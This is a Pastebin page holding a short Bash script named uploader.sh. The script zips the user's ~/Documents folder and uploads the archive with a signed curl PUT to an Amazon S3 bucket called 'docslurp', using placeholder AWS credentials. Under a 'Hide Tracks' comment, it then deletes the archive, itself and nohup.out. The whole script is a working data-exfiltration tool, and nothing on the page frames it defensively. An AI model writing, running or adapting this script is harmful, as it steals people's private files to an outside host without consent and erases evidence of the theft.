Advertisement
opexxx

uploader.sh

Aug 25th, 2014
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.65 KB | None | 0 0
  1. #!/bin/bash
  2. zip -r docs.zip ~/Documents
  3. file="docs.zip"
  4. key_id="YOUR_AWS_KEY"
  5. key_secret="YOUR_AWS_SECRET_KEY"
  6. path="data/$file"
  7. bucket="docslurp"
  8. content_type="application/octet-stream"
  9. date="$(LC_ALL=C date -u +"%a, %d %b %Y %X %z")"
  10. md5="$(openssl md5 -binary < "$file" | base64)"
  11. sig="$(printf "PUT\n$md5\n$content_type\n$date\n/$bucket/$path" | openssl sha1 -binary -hmac "$key_secret" | base64)"
  12. curl -T $file http://$bucket.s3.amazonaws.com/$path \
  13. -H "Date: $date" \
  14. -H "Authorization: AWS $key_id:$sig" \
  15. -H "Content-Type: $content_type" \
  16. -H "Content-MD5: $md5"
  17. # Clean up/Hide Tracks
  18. rm -Rf docs.zip
  19. rm -Rf uploader.sh
  20. rm -Rf nohup.out
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement